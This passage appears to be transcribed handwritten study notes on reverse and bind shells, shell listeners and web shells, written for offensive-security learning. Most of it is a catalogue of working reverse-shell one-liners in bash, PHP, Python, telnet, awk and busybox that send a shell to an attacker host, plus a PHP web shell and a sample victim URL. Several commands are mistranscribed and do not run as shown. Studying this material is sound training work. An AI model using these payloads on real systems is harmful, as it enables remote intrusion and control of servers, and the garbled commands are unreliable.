

* Pivoting: It is a technique used by attackers to move deeper into a network. If the attacker has gained access to one computer, they can use that computer to attack other computers on the same network.

SHELLS OVERVIEW:

- What is a shell?

A shell is a software that allows user to interact with an OS.

- Reverse shell: It is also called as "connect back shell". The connection initiates from the target machine to the attacker's machine, which can help avoid detection from network firewalls and other security appliances.

How reverse shells work?

Reverse shells can be worked by using a tool Netcat.

(a) Netcat helps the attacker's machine to wait or listen to a incoming connection.

Command for using netcat: `nc -lvp 443`

l indicates
to listen or wait for a
connection

P prevents DNS lookup,
so it will not resolve
any hostname it
will use an
ip address
v indicates
verbose mode

-p indicates that netcat is waiting at port 443 for any connection.

Many firewalls block incoming traffic but allow outgoing traffic. So the connection here made is from victim → attack which bypass many network restrictions.

- (b) After our listener is set, the attacker should execute the reverse shell payload. Now this reverse shell payload will automatically send a connection to the port where my listener is listening.

(c) Once the payload is executed the reverse shell will open up on the attacker's screen.

- **Bind Shell:** A bind shell is when a victim's computer open a port and wait for the attacker to connect. It can be used when the compromised target doesn't allow outgoing connections. But nowadays security devices mostly detect and blocks the attacker's connection to connect to the open port.

Now I can use netcat tool to connect to the open port of the victim computer.

Command: `nc -nV Target-IP 8080`

↓
Disable
DNS resolution

↗
Verbose output

↘
Target machine
IP where the
bind shell is
running

↘
Port number on which
the bind shell is
running.

- **Shell listeners:** There are many types of shell listeners, netcat is not the only shell listener. Some of the tools that can listen incoming shells are:

is **Rlwrap**: It is a small tool that gives you a better, more user-friendly shell when you get a reverse shell or bind shell. Reverse shell looks ugly but Rlwrap adds features like: arrow key support, command history, backspace works etc.

Example usage: `rlwrap nc -lmp 443`

ii) Ncat: It is an improved version of Netcat. It provides extra features like encryption.

Command: `ncat -l -p 4444`

`ncat --ssl -l -p 444` : listening for reverse shells those allow encrypted communication only.

iii) Socat: It is a tool that allows you to connect two things together so that data can move between them.

Command: `socat -d -d TCP-LISTEN:443 STDOUT`

`-d` → verbose output `-d -d` → more verbosity

`TCP-LISTEN:443` → creates TCP listener on port 443

`STDOUT` → sends the incoming data to my screen.

- Shell payloads: A shell payload is a command or a small script that gives you access to shell on the victim's computer.

OR

It is a command or a script that exposes a shell to an incoming connection in case of bind shell or a send connection in case of a reverse shell.

i) Bash: Normal Bash reverse shell payload:

a) `bash -i & /dev/tcp/Attacker_IP/Port 0>&1`

Starts a interactive bash shell	anything the shell prints get sent to the attacker	creates a tcp connection to the attackers ip and port	allows you to type commands on victim's computer.
---------------------------------------	---	---	---

* File descriptor: A file descriptor is a number that represents an input/output channel.

Linux already has 3 file descriptors created

0: STDIN 1: STDOUT 2: STDERR . you can create

new pipes too.

Page No.

Date:

b) Bash Read line reverse shell:

Command: `exec 5</dev/tcp/AttackerIP/Port ; cat <&5 | while read line ; do $line 2>&5 >&5 ; done`

`exec 5</dev/tcp/IP/Port` : Opens a tcp connection to attacker and uses file descriptor 5 as channel

`cat <&5` : Read anything the attacker sends through FD 5

`while read line ; do $line ... done` : For every command the attacker sends store it in variable line Run that command on victim and send output (even back to the attacker)

`2>&5 >&5` : Send: Standard error → FD 5 (attacker)
Standard ~~error~~ ^{output} → FD 5 (attacker)

c) Bash with file descriptor 196 reverse shell:

`0<&196 ; exec 196</dev/tcp/AttackerIP/Port ; sh <&196 >&196 2>&196`

`exec 196</dev/tcp/IP/Port` : Open a TCP connection to attacker and uses FD 196 for communication

`sh <&196` : read commands from FD 196 and give it to bin/sh to execute

`>&196 2>&196` : Send back: Command output → FD 196
Command error → FD 196

`0<&196` : Make input come from FD 196

* PHP is not a shell it is a programming language that is used to run a shell using function like (exec, shell_exec, system).
So its just a tool to start the real shell.

Page No.	
Date:	

a) Bash with file descriptor 5 Reverse shell:

```
bash -i 5<> /dev/tcp/Attacker_IP/Port 0<&5 1>&5  
2>&5
```

ii) PHP

a) PHP reverse shell using exec function:

```
php -r '$sock = fsockopen("Attacker IP", 443); exec("sh <&3  
>&3 2>&3");'
```

It creates a ~~reverse~~ socket connection to the attacker's IP on port 443 and uses the exec function to execute the shell, redirecting standard input and output.

b) PHP reverse shell using shell_exec function:

```
php -r '$sock = fsockopen("Attacker IP", 443); shell_exec("sh <&3  
>&3 2>&3");'
```

c) PHP shell using the system function:

```
php -r '$sock = fsockopen("Attacker IP", Port); system("sh <&3  
>&3 2>&3");'
```

d) PHP shell using the passthru function:

```
php -r '$sock = fsockopen("Attacker IP", Port); passthru("sh  
<&3 >&3 2>&3");'
```

It is useful to send raw output back to browser and is used when working with binary data.

e) using the popen function:

```
php -r '$sock = fsockopen("Attacker IP", Port); popen("sh <&3  
2>&3", "r");'
```


* when you type your payload manually then the Remote host and port are attacker's ip and port for reverse shell because it ~~is~~ is connecting from victim to attacker so attacker side is remote.

Page No.	
Date:	

in a variable

system(): Shows output line by line. Store last line of output

exec(): Doesn't print output. Stores ~~array~~ output in array if you want.

shell_exec(): ~~returns~~ ^{store} full output as a string. Doesn't print

passthru(): Prints raw output. It doesn't store

paper(): Doesn't print output by itself.

iii) • Python:

a) Python Reverse shell by exporting Environment variables:

```
export RHOST="AttackerIP"; export RPORT=443; python -c 'import sys, socket, os, pty; s=socket(); s.connect((os.getenv("RHOST"), int(os.getenv("RPORT")))); [os.dup2(s.fileno(), fd) for fd in (0,1,2)]; pty.spawn("bash")'
```

This sets the Remote host and Remote port as environmental variable, creates a socket connection, and duplicates the socket descriptor for standard input/output.

b) Python Reverse shell using the subprocess module:

```
python -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.4.99.20", 443)); os.dup2(s.fileno(), 2); import pty; pty.spawn("bash")'
```

It uses the subprocess module to spawn a shell.

c) Short python reverse:

```
python -c 'import os, pty, socket; s=socket.socket(); s.connect(("AttackerIP", 443)); [os.dup2(s.fileno(), f) for f in (0,1,2)]; pty.spawn("bash")'
```

Others:

a) Telnet: `TF=$(mktemp -u); mkfifo $TF && telnet Attacker_IP 443
0 < $TF | sh > $TF`

It creates a named pipe using `mkfifo` and connects that to attacker via telnet.

b) AWK: `awk 'BEGIN {s = "/inet/tcp/0/Attacker_IP/443"; while (1) {
do { printf "shell >" | &s; s | &getline c; if (c) { while
((c | &getline) > 0) print $0 | &s; close (c); } } while
(c != "exit") close (s); } }' /dev/null`

It uses awk's built in TCP capabilities to connect to Attacker IP.

c) BusyBox: `busybox nc Attacker_IP 443 -c sh`
It uses netcat to connect to attacker ip.

Important NOTE: Python and PHP are programming languages, they are not shells. These programming languages commands we discussed earlier ask the OS to start a real shell which will be `/bin/bash` or `/bin/sh`.

• Telnet, AWK, Busybox are tools they also do same ask OS to start a real shell which is bash or sh.

• Webshell:

It is a small script file that a hacker uploads to a website so they can run system commands on the server through web browser. Web servers like Apache, Nginx, IIS run languages such as PHP, ASP, JSP etc, if you upload script

in any of the language that can execute system command it becomes web shell.

Example of PHP webshell:

```
<? php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
```

This ^{web} shell ~~can~~ can be uploaded on web server by exploiting vulnerabilities such as unrestricted file upload, File inclusion etc. After that web ^{server} ~~can~~ can be accessed through URL where webshell is hosted. Ex: <http://victim.com/upload-shell.php?cmd=whoami>

• Existing webshells ~~are~~ available online:

- a) P0wny-shell = A single file php webshell that allows remote command execution
- b) 674K shell = More feature-rich PHP webshell with file management and command execution
- c) c99 shell = Also a webshell with ~~an~~ extensive functionalities.

NOTE: These webshells when uploaded on a website opens a full GUI type window through which you can perform different action unlike normal webshell in which we have to type command ~~in~~ inside URL.